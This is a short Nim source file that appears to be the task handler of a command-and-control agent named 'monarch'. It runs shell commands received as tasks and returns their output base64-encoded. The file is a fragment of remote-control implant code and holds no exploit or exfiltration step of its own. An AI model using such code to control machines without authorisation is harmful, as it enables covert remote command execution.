Files
conquest/agents/monarch/task.nim

27 lines
573 B
Nim
Raw Normal View History

import base64
import ./types
import ./commands/commands
proc handleTask*(task: Task): Task =
# Handle task command
case task.command:
of ExecuteShell:
let (output, status) = taskShell(task.args)
echo output
return Task(
id: task.id,
agent: task.agent,
command: task.command,
args: task.args,
result: encode(output), # Base64 encode result
status: status
)
else:
echo "Not implemented"
return nil
return task